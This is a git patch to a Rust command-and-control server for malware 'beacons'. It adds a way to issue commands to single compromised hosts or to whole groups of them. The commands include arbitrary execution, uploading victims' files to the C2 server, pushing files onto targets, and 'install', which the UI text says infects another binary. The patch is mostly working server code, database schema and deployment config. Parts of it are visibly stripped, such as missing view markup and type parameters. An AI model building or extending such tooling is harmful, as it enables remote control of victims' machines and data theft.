From e0af4ad291f0a79d9504997d3a499b0bcf235f61 Mon Sep 17 00:00:00 2001
From: Andrew Rioux
Date: Sun, 23 Feb 2025 01:46:18 -0500
Subject: [PATCH] feat: added basic command issuing
---
.gitignore | 2 +
Cargo.lock | 12 +-
packages.nix | 19 +-
sparse-handler/src/router.rs | 19 +
sparse-server/Cargo.toml | 7 +-
.../20250223030447_better_commands.sql | 49 +++
sparse-server/src/app.rs | 2 +-
sparse-server/src/beacons/commands.rs | 409 +++++++++++++++++-
sparse-server/src/beacons/sidebar.rs | 3 -
sparse-server/src/cli.rs | 7 +-
sparse-server/src/main.rs | 6 +-
sparse-server/src/webserver.rs | 6 +-
sparse-server/style/beacons/_commands.scss | 38 ++
13 files changed, 563 insertions(+), 16 deletions(-)
create mode 100644 sparse-server/migrations/20250223030447_better_commands.sql
diff --git a/.gitignore b/.gitignore
index 027175b..80a7a84 100644
--- a/.gitignore
+++ b/.gitignore
@@ -6,3 +6,5 @@ zig-out
.zig-cache
freebsd.txt
/sparse-server/db.sqlite*
+/filetransfers
+/sparse-server/filetransfers
diff --git a/Cargo.lock b/Cargo.lock
index 297e8eb..84a60c1 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -3285,6 +3285,7 @@ dependencies = [
"hyper",
"inventory",
"js-sys",
+ "multer",
"once_cell",
"pin-project-lite",
"send_wrapper",
@@ -3535,6 +3536,7 @@ dependencies = [
"leptos_axum",
"leptos_meta",
"leptos_router",
+ "multer",
"pbkdf2",
"rand 0.9.0",
"rcgen",
@@ -3544,6 +3546,7 @@ dependencies = [
"send_wrapper",
"serde",
"serde_json",
+ "server_fn",
"sha2",
"sparse-actions",
"sparse-handler",
@@ -3556,6 +3559,7 @@ dependencies = [
"tower-http 0.5.2",
"tracing",
"tracing-subscriber",
+ "uuid",
"wasm-bindgen",
"web-sys",
]
@@ -3700,6 +3704,7 @@ dependencies = [
"tokio-stream",
"tracing",
"url",
+ "uuid",
]
[[package]]
@@ -3781,6 +3786,7 @@ dependencies = [
"stringprep",
"thiserror 2.0.11",
"tracing",
+ "uuid",
"whoami",
]
@@ -3819,6 +3825,7 @@ dependencies = [
"stringprep",
"thiserror 2.0.11",
"tracing",
+ "uuid",
"whoami",
]
@@ -3844,6 +3851,7 @@ dependencies = [
"sqlx-core",
"tracing",
"url",
+ "uuid",
]
[[package]]
@@ -4552,9 +4560,9 @@ checksum = "b6c140620e7ffbb22c2dee59cafe6084a59b5ffc27a8859a5f0d494b5d52b6be"
[[package]]
name = "uuid"
-version = "1.13.1"
+version = "1.14.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ced87ca4be083373936a67f8de945faa23b6b42384bd5b64434850802c6dccd0"
+checksum = "93d59ca99a559661b96bf898d8fce28ed87935fd2bea9f05983c1464dd6c71b1"
dependencies = [
"getrandom 0.3.1",
]
diff --git a/packages.nix b/packages.nix
index 63ba3ec..5ad5b4a 100644
--- a/packages.nix
+++ b/packages.nix
@@ -338,7 +338,24 @@ let
copyToRoot = [ sparse-server ];
- config = { Cmd = [ "${sparse-server}/bin/sparse-server" ]; };
+ runAsRoot = ''
+ #!${pkgs.runtimeShell}
+ mkdir -p /sparse-server
+ '';
+
+ config = {
+ Cmd = [
+ "${sparse-server}/bin/sparse-server"
+ "serve"
+ "--file-store"
+ "/sparse-server/files"
+ "--management-address"
+ "0.0.0.0:3000"
+ ];
+ Expose = { "3000" = ""; };
+ Env = { DATABASE_URL = "sqlite:///sparse-server/db.sqlite"; };
+ Volumes = { "/sparse-server" = { }; };
+ };
};
outputs = rec {
diff --git a/sparse-handler/src/router.rs b/sparse-handler/src/router.rs
index 17202a7..48e364b 100644
--- a/sparse-handler/src/router.rs
+++ b/sparse-handler/src/router.rs
@@ -86,6 +86,25 @@ pub async fn handle_checkin(
.cwd
.to_str()
.unwrap_or("(unknown)");
+
+ let template_category = sqlx::query!(
+ "SELECT default_category FROM beacon_template WHERE template_id = ?",
+ reg.template_id
+ )
+ .fetch_optional(&state.db)
+ .await?;
+
+ if let Some(category_id) = template_category.map(|r| r.default_category) {
+ sqlx::query!(
+ "INSERT INTO beacon_category_assignment (category_id, beacon_id)
+ VALUES (?, ?)",
+ category_id,
+ reg.beacon_id
+ )
+ .execute(&state.db)
+ .await?;
+ }
+
sqlx::query!(
r#"INSERT INTO beacon_instance
(beacon_id, template_id, peer_ip, nickname, cwd, operating_system, beacon_userent, hostname)
diff --git a/sparse-server/Cargo.toml b/sparse-server/Cargo.toml
index 36b1ce6..525a98a 100644
--- a/sparse-server/Cargo.toml
+++ b/sparse-server/Cargo.toml
@@ -31,7 +31,7 @@ tracing = { version = "0.1", optional = true }
web-sys = { version = "0.3", features = ["WebSocket"] }
leptos-use = { version = "0.15", default-features = false, features = ["use_websocket", "use_interval"] }
codee = { version = "0.2", features = ["json_serde"] }
-sqlx = { version = "0.8", default-features = false, features = ["chrono", "macros", "migrate", "runtime-tokio", "sqlite", "sqlx-sqlite"], optional = true }
+sqlx = { version = "0.8", default-features = false, features = ["chrono", "macros", "migrate", "runtime-tokio", "sqlite", "sqlx-sqlite", "uuid"], optional = true }
chrono = { version = "0.4", features = ["serde"] }
rpassword = { version = "7.3", optional = true }
pbkdf2 = { version = "0.12", features = ["simple", "sha2", "std"], optional = true }
@@ -47,6 +47,9 @@ serde_json = "1.0.139"
send_wrapper = "0.6.0"
duration-str = { version = "0.13.0", default-features = false, features = ["chrono"] }
regex = "1.11.1"
+server_fn = { version = "0.7.7", features = ["multipart"] }
+multer = { version = "3.1.0", optional = true }
+uuid = { version = "1.14.0", features = ["v4"], optional = true }
sparse-actions = { path = "../sparse-actions", optional = true }
sparse-handler = { path = "../sparse-handler", optional = true }
@@ -78,6 +81,8 @@ ssr = [
"dep:rustls-pki-types",
"dep:sparse-actions",
"dep:rand",
+ "dep:multer",
+ "dep:uuid",
"leptos/ssr",
"leptos_meta/ssr",
"leptos_router/ssr",
diff --git a/sparse-server/migrations/20250223030447_better_commands.sql b/sparse-server/migrations/20250223030447_better_commands.sql
new file mode 100644
index 0000000..692ebc5
--- /dev/null
+++ b/sparse-server/migrations/20250223030447_better_commands.sql
@@ -0,0 +1,49 @@
+DROP TABLE beacon_command_invocation;
+DROP TABLE beacon_command;
+
+CREATE TABLE beacon_file (
+ file_id varchar PRIMARY KEY NOT NULL,
+
+ file_name varchar,
+
+ beacon_source_id varchar,
+
+ FOREIGN KEY (beacon_source_id) REFERENCES beacon_instance
+);
+
+CREATE TABLE beacon_command (
+ command_id integer PRIMARY KEY AUTOINCREMENT NOT NULL,
+
+ cmd_type text check (cmd_type in ('update', 'exec', 'install', 'upload', 'download', 'chdir', 'ls')),
+
+ exec_command varchar,
+
+ install_target varchar,
+
+ upload_src varchar,
+
+ download_src varchar,
+ download_path varchar,
+
+ chdir_target varchar,
+
+ FOREIGN KEY (download_src) REFERENCES beacon_file
+);
+
+CREATE TABLE beacon_command_invocation (
+ beacon_id varchar NOT NULL,
+ command_id int NOT NULL,
+
+ issue_date int NOT NULL,
+
+ invoker_id int NOT NULL,
+
+ invocation_date int,
+ invocation_result varchar,
+
+ PRIMARY KEY (beacon_id, command_id),
+
+ FOREIGN KEY (command_id) REFERENCES beacon_command,
+ FOREIGN KEY (beacon_id) REFERENCES beacon_instance,
+ FOREIGN KEY (invoker_id) REFERENCES users
+);
diff --git a/sparse-server/src/app.rs b/sparse-server/src/app.rs
index 2a17d2d..40e7d9e 100644
--- a/sparse-server/src/app.rs
+++ b/sparse-server/src/app.rs
@@ -112,7 +112,7 @@ pub fn App() -> impl IntoView {
-
+
"Select a menu item on the left to get started"
diff --git a/sparse-server/src/beacons/commands.rs b/sparse-server/src/beacons/commands.rs
index 7614124..818f823 100644
--- a/sparse-server/src/beacons/commands.rs
+++ b/sparse-server/src/beacons/commands.rs
@@ -1,10 +1,413 @@
-use leptos::prelude::*;
+use leptos::{either::Either, prelude::*};
+use serde::{Deserialize, Serialize};
+use leptos::server_fn::codec::{MultipartData, MultipartFormData};
+use web_sys::FormData;
+use send_wrapper::SendWrapper;
+
+#[cfg(feature = "ssr")]
+use {
+ leptos::server_fn::error::NoCustomError,
+ sqlx::{sqlite::SqliteRow, FromRow, Row},
+ tokio::io::AsyncWriteExt,
+};
+
+use crate::beacons::{BeaconResources, categories::Category};
+
+#[derive(Clone, Serialize, Deserialize)]
+pub enum CommandBody {
+ Update,
+ Exec { command: String },
+ Install { target_binary: String },
+ Upload { target_file: String },
+ Download { src_file: String, target_path: String },
+ Chdir { target_dir: String },
+ Ls
+}
+
+#[cfg(feature = "ssr")]
+impl FromRow<'_, SqliteRow> for CommandBody {
+ fn from_row(row: &SqliteRow) -> sqlx::Result {
+ match row.try_get("cmd_type")? {
+ "update" => Ok(Self::Update),
+ "exec" => Ok(Self::Exec {
+ command: row.try_get("exec_command")?
+ }),
+ "install" => Ok(Self::Install {
+ target_binary: row.try_get("install_target")?
+ }),
+ "upload" => Ok(Self::Upload {
+ target_file: row.try_get("upload_src")?
+ }),
+ "download" => Ok(Self::Download {
+ src_file: row.try_get("download_src")?,
+ target_path: row.try_get("download_path")?
+ }),
+ "chdir" => Ok(Self::Chdir {
+ target_dir: row.try_get("chdir_target")?
+ }),
+ "ls" => Ok(Self::Ls),
+ type_name => Err(sqlx::Error::TypeNotFound {
+ type_name: type_name.to_string()
+ })
+ }
+ }
+}
+
+#[cfg_attr(feature = "ssr", derive(FromRow))]
+#[derive(Clone, Serialize, Deserialize)]
+pub struct BeaconCommand {
+ pub command_id: i64,
+ #[cfg_attr(feature = "ssr", sqlx(flatten))]
+ pub body: CommandBody
+}
+
+#[server(
+ prefix = "/api/commands",
+ endpoint = "issue_command",
+ input = MultipartFormData
+)]
+pub async fn issue_command(
+ data: MultipartData,
+) -> Result<(), ServerFnError> {
+ let Some(user) = crate::db::user::get_auth_session().await? else {
+ return Err(ServerFnError::::ServerError(
+ "You are not signed in!".to_owned(),
+ ));
+ };
+
+ let mut fields = std::collections::HashMap::::new();
+ let mut download_src = None::;
+
+ let mut data = data.into_inner().ok_or(ServerFnError::::ServerError(
+ "No form data was provided".to_owned(),
+ ))?;
+ while let Ok(Some(field)) = data.next_field().await {
+ let name = field.name().unwrap_or_default().to_string();
+ tracing::trace!("Found field {}", &name);
+ if name != "download_src" {
+ fields.insert(name.clone(), field.text().await.unwrap_or_default());
+ } else {
+ download_src = Some(field);
+ }
+ }
+
+ enum Target {
+ Beacon(String),
+ Category(i64)
+ }
+
+ let Some(target_beacons) = fields
+ .get("beacon_id")
+ .map(Clone::clone)
+ .map(Target::Beacon)
+ .or(fields
+ .get("category_id")
+ .map(|id| id.parse::().ok())
+ .flatten()
+ .map(Target::Category)) else {
+ return Err(ServerFnError::::ServerError(
+ "A beacon command cannot be made without a target".to_owned(),
+ ));
+ };
+
+ let db = crate::db::get_db()?;
+
+ let command_id = match fields.get("cmd_type").map(Clone::clone).as_deref() {
+ Some("update") => {
+ Ok(sqlx::query!(
+ "INSERT INTO beacon_command (cmd_type) VALUES ('update')"
+ )
+ .execute(&db)
+ .await?
+ .last_insert_rowid())
+ }
+ Some("ls") => {
+ Ok(sqlx::query!(
+ "INSERT INTO beacon_command (cmd_type) VALUES ('ls')"
+ )
+ .execute(&db)
+ .await?
+ .last_insert_rowid())
+ }
+ Some("chdir") => {
+ let chdir_target = fields
+ .get("chdir_target")
+ .filter(|s| !s.is_empty())
+ .ok_or(ServerFnError::::ServerError(
+ "Directory target cannot be empty".to_owned(),
+ ))?;
+
+ Ok(sqlx::query!(
+ "INSERT INTO beacon_command (cmd_type, chdir_target) VALUES ('chdir', ?)",
+ chdir_target
+ )
+ .execute(&db)
+ .await?
+ .last_insert_rowid())
+ }
+ Some("exec") => {
+ let exec_command = fields
+ .get("exec_command")
+ .filter(|s| !s.is_empty())
+ .ok_or(ServerFnError::::ServerError(
+ "Command cannot be empty".to_owned(),
+ ))?;
+
+ Ok(sqlx::query!(
+ "INSERT INTO beacon_command (cmd_type, exec_command) VALUES ('exec', ?)",
+ exec_command
+ )
+ .execute(&db)
+ .await?
+ .last_insert_rowid())
+ }
+ Some("install") => {
+ let install_target = fields
+ .get("install_target")
+ .filter(|s| !s.is_empty())
+ .ok_or(ServerFnError::::ServerError(
+ "Install target cannot be empty".to_owned(),
+ ))?;
+
+ Ok(sqlx::query!(
+ "INSERT INTO beacon_command (cmd_type, install_target) VALUES ('install', ?)",
+ install_target
+ )
+ .execute(&db)
+ .await?
+ .last_insert_rowid())
+ }
+ Some("upload") => {
+ let upload_src = fields
+ .get("upload_src")
+ .filter(|s| !s.is_empty())
+ .ok_or(ServerFnError::::ServerError(
+ "Upload file request path cannot be empty".to_owned(),
+ ))?;
+
+ Ok(sqlx::query!(
+ "INSERT INTO beacon_command (cmd_type, upload_src) VALUES ('upload', ?)",
+ upload_src
+ )
+ .execute(&db)
+ .await?
+ .last_insert_rowid())
+ }
+ Some("download") => {
+ let download_path = fields
+ .get("download_path")
+ .filter(|s| !s.is_empty())
+ .ok_or(ServerFnError::::ServerError(
+ "Upload file request path cannot be empty".to_owned(),
+ ))?;
+
+ let mut download_src = download_src
+ .ok_or(ServerFnError::::ServerError(
+ "File to upload cannot be empty".to_owned(),
+ ))?;
+
+ let file_name = download_src.file_name().unwrap_or_default().to_string();
+ let file_id = uuid::Uuid::new_v4();
+
+ let mut target_file_path = expect_context::();
+ target_file_path.push(file_id.to_string());
+
+ tracing::debug!("Writing {file_name} to {target_file_path:?}");
+
+ let mut target_file = tokio::fs::OpenOptions::new()
+ .write(true)
+ .create(true)
+ .open(target_file_path)
+ .await?;
+
+ while let Ok(Some(chunk)) = download_src.chunk().await {
+ target_file.write(&chunk).await?;
+ }
+
+ sqlx::query!(
+ "INSERT INTO beacon_file (file_id, file_name) VALUES (?, ?)",
+ file_id,
+ file_name
+ )
+ .execute(&db)
+ .await?;
+
+ Ok(sqlx::query!(
+ "INSERT INTO beacon_command (cmd_type, download_src, download_path) VALUES ('download', ?, ?)",
+ file_id,
+ download_path
+ )
+ .execute(&db)
+ .await?
+ .last_insert_rowid())
+ }
+ _ => Err(ServerFnError::::ServerError(
+ "Unknown command type".to_owned(),
+ ))
+ }?;
+
+ let now = chrono::Utc::now();
+
+ match target_beacons {
+ Target::Beacon(bid) => {
+ sqlx::query!(
+ "INSERT INTO beacon_command_invocation (command_id, issue_date, invoker_id, beacon_id)
+ VALUES (?, ?, ?, ?)",
+ command_id,
+ now,
+ user.user_id,
+ bid
+ )
+ .execute(&db)
+ .await?;
+ }
+ Target::Category(cid) => {
+ sqlx::query!(
+ "INSERT INTO beacon_command_invocation (command_id, issue_date, invoker_id, beacon_id)
+ SELECT ?, ?, ?, bi.beacon_id FROM beacon_category bc
+ INNER JOIN beacon_category_assignment bca ON bc.category_id = bca.category_id
+ INNER JOIN beacon_instance bi ON bca.beacon_id = bi.beacon_id
+ WHERE bc.category_id = ?",
+ command_id,
+ now,
+ user.user_id,
+ cid
+ )
+ .execute(&db)
+ .await?;
+ }
+ }
+
+ Ok(())
+}
+
+#[component]
+pub fn CommandForm(categories: Vec, beacon_id: Option) -> impl IntoView {
+ let command_action = Action::new(move |data: &SendWrapper| {
+ let data = data.clone();
+ async move {
+ issue_command(data.take().into()).await
+ }
+ });
+
+ view! {
+ {(categories.is_empty() && beacon_id.is_none())
+ .then(|| view! {
+ "Missing categories! Cannot assign a command to a category if there are no categories"
+ })}
+
+ {move || match command_action.value().get() {
+ None => Either::Right(()),
+ Some(v) => Either::Left(match v {
+ Ok(_) => Either::Right(view! {
+ "Command successfully isued!"
+ }),
+ Err(e) => Either::Left(view! {
+ "Error occurred issuing command:"
+ {format!{"{e:?}"}}
+ })
+ })
+ }}
+
+ }
+}
#[component]
pub fn CommandsView() -> impl IntoView {
- view! {
-
+ let BeaconResources { categories, .. } = expect_context();
+ view! {
+
+
"Issue commands"
+
+
+ "This page is used to issue commands to all beacons in a category. If you are looking to issue a command to a single beacon, select one from the left."
+
+
+
+ "Available commands, and the required version of the beacon:"
+
+
+
+ - "Exec: execute a command"
+ - "Upload: upload a file from the server the beacon is on to the C2 server"
+ - "Download: download a file from the C2 server to the computer the beacon is on"
+ - "Update: Attempt to update the beacon on the remote system"
+ - "Chdir: change the 'working directory' of the beacon. The working directory is actually stored on the C2 server, and the only action the beacon performs is to verify such a path exists"
+ - "Ls: list files in the current 'working directory'"
+ - "Install: infect another binary (only works for sparse beacons that already infect a binary; does not work for standalone beacons)"
+
+
+
+
+ {move || Suspend::new(async move {
+ let categories = match categories.await {
+ Ok(cs) => cs,
+ Err(e) => return Either::Left(view! {
+ {"There was an error loading categories:".to_string()}
+ {format!("error: {}", e)}
+ })
+ };
+
+ Either::Right(view! {
+
+ })
+ })}
+
}
}
diff --git a/sparse-server/src/beacons/sidebar.rs b/sparse-server/src/beacons/sidebar.rs
index 6173877..0bea4d2 100644
--- a/sparse-server/src/beacons/sidebar.rs
+++ b/sparse-server/src/beacons/sidebar.rs
@@ -100,8 +100,6 @@ pub fn BeaconSidebar() -> impl IntoView {
return;
};
- leptos::logging::log!("Received message: {m:?}");
-
match m {
SidebarEvents::BeaconList(bs) => {
let mut bs = bs.to_vec();
@@ -128,7 +126,6 @@ pub fn BeaconSidebar() -> impl IntoView {
return;
};
if let Some(ref mut b) = bs.iter_mut().find(|b| b.beacon_id == *bid) {
- leptos::logging::log!("Found beacon to check in");
b.last_checkin = chrono::Utc::now();
}
}),
diff --git a/sparse-server/src/cli.rs b/sparse-server/src/cli.rs
index 7ad0abe..f67dbc7 100644
--- a/sparse-server/src/cli.rs
+++ b/sparse-server/src/cli.rs
@@ -28,8 +28,13 @@ pub enum Command {
/// Run the web and API server
Serve {
/// Address to bind to for the management interface
- #[structopt(default_value = "127.0.0.1:3000")]
+ #[structopt(short = "m", long, default_value = "127.0.0.1:3000")]
management_address: SocketAddrV4,
+
+ /// Where to store files to transfer to target systems, and
+ /// files that are downloaded from remote systems
+ #[structopt(short = "f", long, default_value = "./filetransfers")]
+ file_store: PathBuf,
},
/// Extract the public key and print it to standard out
diff --git a/sparse-server/src/main.rs b/sparse-server/src/main.rs
index 8ea86f0..34931dc 100644
--- a/sparse-server/src/main.rs
+++ b/sparse-server/src/main.rs
@@ -65,9 +65,9 @@ async fn main() -> anyhow::Result
{
tracing::info!("Done running database migrations!");
match options.command.clone() {
- Some(cli::Command::Serve { management_address }) => {
+ Some(cli::Command::Serve { management_address, file_store }) => {
tracing::info!("Performing requested action, acting as web server");
- webserver::serve_web(management_address, pool).await
+ webserver::serve_web(management_address, file_store, pool).await
}
Some(cli::Command::ExtractPubKey {}) => Ok(ExitCode::SUCCESS),
Some(cli::Command::User { command }) => cli::user::handle_user_command(command, pool).await,
@@ -77,7 +77,7 @@ async fn main() -> anyhow::Result {
tracing::info!("Performing default action of acting as web server");
let default_management_ip = SocketAddrV4::new(Ipv4Addr::new(127, 0, 0, 1), 3000);
- webserver::serve_web(default_management_ip, pool).await
+ webserver::serve_web(default_management_ip, "./filetransfers".into(), pool).await
}
}
}
diff --git a/sparse-server/src/webserver.rs b/sparse-server/src/webserver.rs
index 7aa4cc7..7507bcf 100644
--- a/sparse-server/src/webserver.rs
+++ b/sparse-server/src/webserver.rs
@@ -1,4 +1,4 @@
-use std::{net::SocketAddrV4, process::ExitCode};
+use std::{net::SocketAddrV4, path::PathBuf, process::ExitCode};
use axum::{
extract::{ws, FromRef, Path, Query, State},
@@ -480,6 +480,7 @@ async fn handle_listener_events(
pub async fn serve_web(
management_address: SocketAddrV4,
+ file_store: PathBuf,
db: SqlitePool,
) -> anyhow::Result {
let conf = get_configuration(None).unwrap();
@@ -488,6 +489,8 @@ pub async fn serve_web(
let beacon_event_broadcast = tokio::sync::broadcast::Sender::::new(128);
let beacon_listeners = sparse_handler::BeaconListenerMap::default();
+ tokio::fs::create_dir_all(&file_store).await?;
+
let compression_layer = tower_http::compression::CompressionLayer::new()
.gzip(true)
.deflate(true)
@@ -525,6 +528,7 @@ pub async fn serve_web(
provide_context(beacon_listeners.clone());
provide_context(db.clone());
provide_context(beacon_event_broadcast.clone());
+ provide_context(file_store.clone());
},
{
let leptos_options = leptos_options.clone();
diff --git a/sparse-server/style/beacons/_commands.scss b/sparse-server/style/beacons/_commands.scss
index e69de29..2134f3a 100644
--- a/sparse-server/style/beacons/_commands.scss
+++ b/sparse-server/style/beacons/_commands.scss
@@ -0,0 +1,38 @@
+main.beacons div.commands {
+ padding: 10px;
+ overflow-y: scroll;
+
+ fieldset {
+ display: grid;
+ grid-template-columns: 400px 200px;
+ grid-row-gap: 10px;
+
+ input, label {
+ margin: 10px;
+ }
+ }
+
+ .cmd-exec, .cmd-install, .cmd-upload, .cmd-download, .cmd-chdir {
+ display: none;
+ }
+
+ select[name="cmd_type"]:has(> option[value="exec"]:checked) ~ .cmd-exec {
+ display: block;
+ }
+
+ select[name="cmd_type"]:has(> option[value="upload"]:checked) ~ .cmd-upload {
+ display: block;
+ }
+
+ select[name="cmd_type"]:has(> option[value="download"]:checked) ~ .cmd-download {
+ display: block;
+ }
+
+ select[name="cmd_type"]:has(> option[value="chdir"]:checked) ~ .cmd-chdir {
+ display: block;
+ }
+
+ select[name="cmd_type"]:has(> option[value="install"]:checked) ~ .cmd-install {
+ display: block;
+ }
+}